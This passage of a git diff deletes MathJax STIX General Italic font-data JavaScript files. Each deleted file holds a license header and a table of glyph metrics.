90],9570:[910,303,708,-11,483],9571:[910,303,708,-11,483],9572:[433,303,708,-11,719],9573:[340,303,708,-11,719],9574:[433,303,708,-11,719],9575:[910,-174,708,-11,719],9576:[910,-267,708,-11,719],9577:[910,-174,708,-11,719],9578:[910,303,708,-11,719],9579:[910,303,708,-11,719],9580:[910,303,708,-11,719]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/BoxDrawing.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CombDiactForSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CombDiactForSymbols.js
deleted file mode 100644
index 20fb8784..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{8400:[760,-627,0,-453,-17],8401:[760,-627,0,-426,10],8402:[662,156,0,-300,-234],8406:[760,-548,0,-453,-17],8407:[760,-548,0,-453,-17],8411:[622,-523,0,-453,44],8412:[622,-523,0,-582,114],8413:[725,221,0,-723,223],8417:[760,-548,0,-453,25],8420:[1023,155,0,-970,490],8421:[662,156,0,-430,-24],8422:[662,156,0,-351,-86],8423:[725,178,0,-595,221],8424:[-119,218,0,-462,35],8425:[681,-538,0,-478,55],8426:[419,-87,0,-793,153],8428:[681,-548,0,-453,-17],8429:[681,-548,0,-453,-17],8430:[-40,252,0,-453,-17],8431:[-40,252,0,-453,-17]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/CombDiactForSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ControlPictures.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ControlPictures.js
deleted file mode 100644
index e53f6658..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ControlPictures.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/ControlPictures.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{9251:[16,120,500,40,460]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/ControlPictures.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CurrencySymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CurrencySymbols.js
deleted file mode 100644
index 4c1d67ce..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CurrencySymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/CurrencySymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{8355:[653,0,611,8,645],8356:[670,8,500,10,517],8359:[653,13,1149,0,1126],8364:[664,12,500,16,538]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/CurrencySymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Cyrillic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Cyrillic.js
deleted file mode 100644
index e95c7c57..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Cyrillic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Cyrillic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/EnclosedAlphanum.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/EnclosedAlphanum.js
deleted file mode 100644
index 62bf396f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/EnclosedAlphanum.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/EnclosedAlphanum.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{9312:[676,14,684,0,684],9313:[676,14,684,0,684],9314:[676,14,684,0,684],9315:[676,14,684,0,684],9316:[676,14,684,0,684],9317:[676,14,684,0,684],9318:[676,14,684,0,684],9319:[676,14,684,0,684],9320:[676,14,684,0,684],9398:[676,14,684,0,684],9399:[676,14,684,0,684],9400:[676,14,684,0,684],9401:[676,14,684,0,684],9402:[676,14,684,0,684],9403:[676,14,684,0,684],9404:[676,14,684,0,684],9405:[676,14,684,0,684],9406:[676,14,684,0,684],9407:[676,14,684,0,684],9408:[676,14,684,0,684],9409:[676,14,684,0,684],9410:[676,14,684,0,684],9411:[676,14,684,0,684],9412:[676,14,684,0,684],9413:[676,14,684,0,684],9414:[676,14,684,0,684],9415:[676,14,684,0,684],9416:[676,14,684,0,684],9417:[676,14,684,0,684],9418:[676,14,684,0,684],9419:[676,14,684,0,684],9420:[676,14,684,0,684],9421:[676,14,684,0,684],9422:[676,14,684,0,684],9423:[676,14,684,0,684],9424:[676,14,684,0,684],9425:[676,14,684,0,684],9426:[676,14,684,0,684],9427:[676,14,684,0,684],9428:[676,14,684,0,684],9429:[676,14,684,0,684],9430:[676,14,684,0,684],9431:[676,14,684,0,684],9432:[676,14,684,0,684],9433:[676,14,684,0,684],9434:[676,14,684,0,684],9435:[676,14,684,0,684],9436:[676,14,684,0,684],9437:[676,14,684,0,684],9438:[676,14,684,0,684],9439:[676,14,684,0,684],9440:[676,14,684,0,684],9441:[676,14,684,0,684],9442:[676,14,684,0,684],9443:[676,14,684,0,684],9444:[676,14,684,0,684],9445:[676,14,684,0,684],9446:[676,14,684,0,684],9447:[676,14,684,0,684],9448:[676,14,684,0,684],9449:[676,14,684,0,684],9450:[676,14,684,0,684]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/EnclosedAlphanum.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GeneralPunctuation.js
deleted file mode 100644
index 4b8d5389..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{8208:[257,-191,333,49,282],8209:[257,-191,333,49,282],8210:[258,-192,500,-8,508],8211:[243,-197,500,-6,505],8212:[243,-197,889,-6,894],8216:[666,-436,333,171,310],8217:[666,-436,333,151,290],8218:[101,129,333,44,183],8219:[666,-436,333,169,290],8220:[666,-436,556,166,514],8221:[666,-436,556,151,499],8222:[101,129,556,57,405],8223:[666,-436,556,169,499],8224:[666,159,500,101,488],8225:[666,143,500,22,491],8226:[444,-59,523,70,455],8230:[100,11,889,57,762],8240:[706,19,1117,80,1067],8241:[706,19,1479,80,1429],8249:[403,-37,333,51,281],8250:[403,-37,333,52,282],8254:[582,-532,500,0,500],8260:[676,10,167,-169,337]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/GeneralPunctuation.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekAndCoptic.js
deleted file mode 100644
index 7c802d82..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{900:[649,-494,289,160,322],901:[649,-494,333,70,387],902:[678,0,611,-51,564],903:[441,-330,333,150,261],904:[678,0,630,7,679],905:[678,0,740,4,821],906:[678,0,350,3,429],908:[678,18,722,58,699],910:[678,0,580,8,725],911:[678,0,762,-6,739],912:[649,11,278,49,387],913:[668,0,611,-51,564],914:[653,0,611,-8,588],917:[653,0,611,-1,634],918:[653,0,556,-6,606],919:[653,0,722,-8,769],921:[653,0,333,-8,384],922:[653,0,667,7,722],924:[653,0,833,-18,872],925:[653,15,667,-20,727],927:[667,18,722,60,699],929:[653,0,611,0,605],932:[653,0,556,59,633],935:[653,0,611,-29,655],938:[856,0,333,-8,460],939:[856,0,556,78,648],940:[649,11,552,27,549],941:[649,11,444,30,425],942:[649,205,474,14,442],943:[649,11,278,49,288],944:[649,10,478,19,446],970:[606,11,278,49,359],971:[606,10,478,19,446],972:[649,11,500,27,468],973:[649,10,478,19,446],974:[649,11,686,27,654],976:[694,10,456,45,436],978:[668,0,596,78,693],984:[667,205,722,60,699],985:[441,205,500,27,468],986:[666,207,673,55,665],987:[458,185,444,30,482],988:[653,0,557,8,645],989:[433,190,487,32,472],990:[773,18,645,19,675],991:[683,0,457,31,445],992:[666,207,708,7,668],993:[552,210,528,93,448],1008:[441,13,533,-16,559],1012:[667,18,722,60,699],1014:[441,11,444,24,414]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekItalic.js
deleted file mode 100644
index 86d24bd3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/GreekItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{120546:[667,0,717,35,685],120547:[653,0,696,38,686],120548:[653,0,616,38,721],120549:[667,0,596,30,556],120550:[653,0,714,38,734],120551:[653,0,772,60,802],120552:[653,0,873,38,923],120553:[669,11,737,50,712],120554:[653,0,480,38,530],120555:[653,0,762,38,802],120556:[667,0,718,35,686],120557:[653,0,1005,38,1055],120558:[653,0,851,38,901],120559:[653,0,706,52,741],120560:[669,11,732,50,712],120561:[653,0,873,38,923],120562:[653,0,594,38,704],120563:[669,11,737,50,712],120564:[653,0,735,58,760],120565:[653,0,550,25,670],120566:[668,0,567,28,687],120567:[653,0,772,25,747],120568:[653,0,790,25,810],120569:[667,0,670,28,743],120570:[666,0,800,32,777],120571:[653,15,627,42,600],120572:[441,10,524,40,529],120573:[668,183,493,25,518],120574:[441,187,428,35,458],120575:[668,11,463,40,451],120576:[441,11,484,25,444],120577:[668,183,435,40,480],120578:[441,183,460,30,455],120579:[668,11,484,40,474],120580:[441,11,267,50,227],120581:[441,0,534,50,549],120582:[668,16,541,50,511],120583:[428,183,579,30,549],120584:[446,9,452,50,462],120585:[668,183,433,25,443],120586:[441,11,458,40,438],120587:[428,13,558,35,568],120588:[441,183,502,30,472],120589:[490,183,439,35,464],120590:[428,11,537,40,547],120591:[428,5,442,30,472],120592:[439,11,460,30,445],120593:[441,183,666,50,631],120594:[441,202,595,30,645],120595:[441,183,661,30,711],120596:[441,11,681,20,661],120597:[668,11,471,40,471],120598:[441,11,430,40,430],120599:[678,10,554,20,507],120600:[441,13,561,12,587],120601:[668,183,645,40,620],120602:[441,187,509,40,489],120603:[428,11,856,30,866]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/GreekItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/IPAExtensions.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/IPAExtensions.js
deleted file mode 100644
index 1b9e7385..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/IPAExtensions.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/IPAExtensions.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{592:[460,10,444,19,421],593:[460,10,511,17,487],594:[460,10,511,17,487],595:[683,11,500,23,488],596:[441,11,444,30,425],597:[441,160,444,-3,425],598:[683,233,500,15,527],599:[683,13,500,15,748],600:[441,11,444,31,416],601:[441,11,444,31,412],602:[441,11,639,31,639],603:[475,14,444,31,467],604:[475,14,480,31,447],605:[475,14,666,31,666],606:[475,14,490,30,458],607:[441,207,357,-100,340],608:[683,212,714,8,799],609:[482,212,595,8,579],610:[441,11,562,52,562],611:[441,234,444,15,426],612:[450,10,480,4,475],613:[450,242,500,19,478],614:[683,9,500,19,494],615:[683,233,500,-6,494],616:[654,11,278,16,264],617:[454,10,333,51,266],618:[441,0,247,-8,298],619:[683,11,278,4,331],620:[683,11,375,12,366],621:[683,233,252,8,279],622:[683,233,575,41,537],623:[441,9,722,12,704],624:[441,233,722,12,704],625:[441,233,690,12,672],626:[441,233,606,-110,580],627:[441,233,498,14,487],628:[441,8,539,-20,599],629:[441,11,500,27,468],630:[441,6,718,49,738],631:[475,4,668,30,638],632:[683,233,660,30,630],633:[441,0,402,-45,322],634:[683,0,383,-45,384],635:[441,233,353,-45,342],636:[441,233,333,-20,412],637:[441,233,390,24,412],638:[470,0,401,45,424],639:[470,0,338,66,293],640:[464,0,475,25,501],641:[464,0,475,25,581],642:[442,218,389,9,376],643:[683,233,415,-110,577],644:[683,233,453,-110,595],645:[470,233,339,79,355],646:[683,243,439,-62,602],647:[460,97,330,38,296],648:[546,233,278,6,308],649:[441,11,500,9,479],650:[450,10,537,49,552],651:[441,10,500,52,475],652:[441,18,444,20,426],653:[441,18,667,15,648],654:[647,0,444,10,460],655:[464,0,633,62,603],656:[428,218,405,17,429],657:[428,47,393,17,380],658:[450,233,413,21,517],659:[450,305,457,7,544],660:[683,0,500,55,509],661:[683,0,500,55,495],662:[662,14,393,-25,413],663:[441,238,450,24,459],664:[679,17,723,22,704],665:[464,0,460,19,505],666:[475,14,479,20,470],667:[515,11,570,29,650],668:[464,0,572,25,671],669:[652,233,403,-80,394],670:[439,255,463,26,473],671:[464,0,470,25,473],672:[582,209,480,25,666],673:[683,0,500,55,509],674:[683,0,500,55,495],675:[683,13,743,15,741],676:[683,233,743,15,780],677:[683,47,754,15,741],678:[546,11,500,38,523],679:[683,233,517,-32,655],680:[546,16,632,38,612]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/IPAExtensions.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Latin1Supplement.js
deleted file mode 100644
index 394e41a9..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{160:[0,0,250,0,0],161:[474,205,389,59,321],162:[560,143,500,77,472],163:[670,8,500,10,517],164:[534,10,500,-22,522],165:[653,0,500,28,605],166:[666,18,275,105,171],167:[666,162,500,53,461],168:[606,-508,333,107,405],169:[666,18,760,41,719],170:[676,-406,276,42,352],171:[403,-37,500,53,445],172:[386,-108,675,86,590],173:[255,-192,333,49,282],174:[666,18,760,41,719],175:[583,-532,333,99,411],176:[676,-390,400,101,387],177:[568,0,675,86,590],178:[676,-271,300,33,324],179:[676,-268,300,43,339],180:[664,-494,333,180,403],181:[428,209,500,-30,497],182:[653,123,559,60,621],183:[310,-199,250,70,181],184:[0,217,333,-30,182],185:[676,-271,300,43,284],186:[676,-406,310,67,362],187:[403,-37,500,55,447],188:[676,10,750,33,736],189:[676,10,750,34,749],190:[676,10,750,23,736],191:[473,205,500,28,367],192:[914,0,611,-51,564],193:[914,0,611,-51,564],194:[911,0,611,-51,564],195:[874,0,611,-51,572],196:[856,0,611,-51,564],197:[957,0,611,-51,564],198:[653,0,889,-27,911],199:[666,217,667,66,689],200:[914,0,611,-1,634],201:[914,0,611,-1,634],202:[911,0,611,-1,634],203:[856,0,611,-1,634],204:[914,0,333,-8,398],205:[914,0,333,-8,414],206:[911,0,333,-8,450],207:[856,0,333,-8,457],208:[653,0,722,-8,700],209:[874,15,667,-20,727],210:[914,18,722,60,699],211:[914,18,722,60,699],212:[911,18,722,60,699],213:[874,18,722,60,699],214:[856,18,722,60,699],215:[497,-8,675,93,582],216:[722,105,722,60,699],217:[914,18,722,102,765],218:[914,18,722,102,765],219:[911,18,722,102,765],220:[856,18,722,102,765],221:[914,0,556,78,633],222:[653,0,611,0,569],223:[679,207,500,-168,493],224:[664,11,501,17,476],225:[664,11,501,17,476],226:[661,11,501,17,497],227:[624,11,501,17,521],228:[606,11,501,17,503],229:[709,11,501,17,476],230:[441,11,667,23,640],231:[441,217,444,26,425],232:[664,11,444,31,414],233:[664,11,444,31,431],234:[661,11,444,31,466],235:[606,11,444,31,475],236:[664,11,278,47,302],237:[664,11,278,47,318],238:[661,11,278,47,351],239:[606,11,278,47,361],240:[683,11,500,27,482],241:[624,9,500,14,488],242:[664,11,500,27,468],243:[664,11,500,27,468],244:[661,11,500,27,468],245:[624,11,500,27,494],246:[606,11,500,27,474],247:[517,11,675,86,590],248:[554,135,500,28,469],249:[664,11,500,42,475],250:[664,11,500,42,475],251:[661,11,500,42,475],252:[606,11,500,42,475],253:[664,206,444,-24,426],254:[683,205,500,-75,469],255:[606,206,444,-24,442]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedA.js
deleted file mode 100644
index 2cc96e83..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{256:[757,0,611,-51,564],257:[543,11,501,17,481],258:[862,0,611,-51,564],259:[650,11,501,17,481],260:[668,169,611,-51,626],261:[441,169,501,17,529],262:[876,18,667,66,689],263:[664,11,444,30,431],264:[875,18,667,66,689],265:[661,11,444,30,427],266:[818,18,667,66,689],267:[606,11,444,30,425],268:[875,18,667,66,689],269:[661,11,444,30,473],270:[875,0,722,-8,700],271:[691,13,609,15,697],272:[653,0,722,-8,700],273:[683,13,500,15,580],274:[757,0,611,-1,634],275:[542,11,444,31,466],276:[866,0,611,-1,634],277:[650,11,444,31,471],278:[818,0,611,-1,634],279:[606,11,444,31,412],280:[653,175,611,-1,634],281:[441,175,444,31,412],282:[875,0,611,-1,634],283:[661,11,444,31,502],284:[877,18,722,52,722],285:[661,206,500,8,471],286:[866,18,722,52,722],287:[650,206,500,8,476],288:[818,18,722,52,722],289:[606,206,500,8,471],290:[666,267,722,52,722],291:[724,206,500,8,471],292:[875,0,722,-8,769],293:[875,9,500,19,478],294:[653,0,722,-8,769],295:[683,9,500,19,478],296:[836,0,333,-8,444],297:[624,11,278,30,357],298:[757,0,333,-8,439],299:[543,11,278,29,341],300:[866,0,333,-8,448],301:[650,11,278,46,347],302:[653,169,333,-8,384],303:[654,169,278,49,303],304:[818,0,333,-8,384],306:[653,18,750,-8,783],307:[654,207,500,49,500],308:[877,18,444,-6,536],309:[661,207,278,-124,353],310:[653,267,667,7,722],311:[683,267,444,14,461],312:[459,0,542,5,601],313:[876,0,556,-8,559],314:[876,11,278,41,348],315:[653,267,556,-8,559],316:[683,267,278,7,279],317:[666,0,556,-8,595],318:[693,11,278,41,448],319:[653,0,556,-8,559],320:[683,11,323,41,386],321:[653,0,556,-8,559],322:[683,11,278,37,307],323:[876,15,667,-20,727],324:[664,9,500,14,474],325:[653,267,667,-20,727],326:[441,267,500,14,474],327:[875,15,667,-20,727],328:[661,9,500,14,475],329:[691,9,577,58,540],330:[666,18,722,-8,700],331:[441,208,500,14,442],332:[757,18,722,60,699],333:[543,11,500,27,511],334:[866,18,722,60,709],335:[650,11,500,27,533],336:[876,18,722,60,720],337:[664,11,500,27,541],338:[666,8,944,49,964],339:[441,12,667,20,646],340:[876,0,611,-13,588],341:[664,0,389,45,412],342:[653,267,611,-13,588],343:[441,267,389,-2,412],344:[875,0,611,-13,588],345:[663,0,389,45,426],346:[876,18,500,17,508],347:[664,13,389,16,403],348:[877,18,500,17,508],349:[661,13,389,16,385],350:[667,217,500,17,508],351:[442,217,389,16,366],352:[875,18,500,17,532],353:[663,13,389,16,426],354:[653,217,556,59,633],355:[546,217,278,-38,296],356:[875,0,556,59,633],357:[693,11,278,38,453],358:[653,0,556,59,633],359:[546,11,278,28,296],360:[836,18,722,102,765],361:[624,11,500,42,475],362:[757,18,722,102,765],363:[543,11,500,42,475],364:[866,18,722,102,765],365:[650,11,500,42,480],366:[907,18,722,102,765],367:[691,11,500,42,475],368:[876,18,722,102,765],369:[664,11,500,42,511],370:[653,169,722,102,765],371:[441,169,500,42,538],372:[877,18,833,71,906],373:[661,18,667,15,648],374:[877,0,556,78,633],375:[661,206,444,-24,426],376:[818,0,556,78,633],377:[876,0,556,-6,606],378:[664,81,389,-2,390],379:[818,0,556,-6,606],380:[606,81,389,-2,380],381:[875,0,556,-6,606],382:[663,81,389,-2,426],383:[683,0,383,13,513]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/LatinExtendedA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedAdditional.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedAdditional.js
deleted file mode 100644
index 5143ab31..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedAdditional.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedAdditional.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{7808:[880,18,833,71,906],7809:[664,18,667,15,648],7810:[876,18,833,71,906],7811:[664,18,667,15,648],7812:[818,18,833,71,906],7813:[606,18,667,15,648],7922:[880,0,556,78,633],7923:[664,206,444,-24,426]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/LatinExtendedAdditional.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedB.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedB.js
deleted file mode 100644
index 9f868cb7..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-italic"],{384:[683,11,500,23,473],392:[548,11,500,30,577],400:[684,6,667,66,671],402:[706,159,472,-62,494],405:[683,10,672,19,654],409:[683,11,500,14,490],410:[683,11,278,41,279],411:[668,0,490,30,478],414:[441,233,500,14,442],416:[691,18,722,60,783],417:[467,11,534,27,583],421:[669,205,504,-75,472],426:[685,233,340,31,319],427:[546,218,278,-54,296],429:[683,11,310,38,452],431:[765,18,754,102,881],432:[543,11,573,42,607],442:[450,234,500,8,462],443:[676,0,500,12,500],446:[539,12,500,47,453],448:[736,0,170,15,258],449:[736,0,290,15,379],450:[736,0,340,15,429],451:[667,11,333,39,304],496:[661,207,278,-124,397],506:[950,0,611,-51,564],507:[860,11,501,17,476],508:[876,0,889,-27,911],509:[664,11,667,23,640],510:[876,105,722,60,699],511:[664,135,500,28,469]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Italic/LatinExtendedB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LetterlikeSymbols.js
deleted file mode 100644
index 60b2e382..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Italic/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
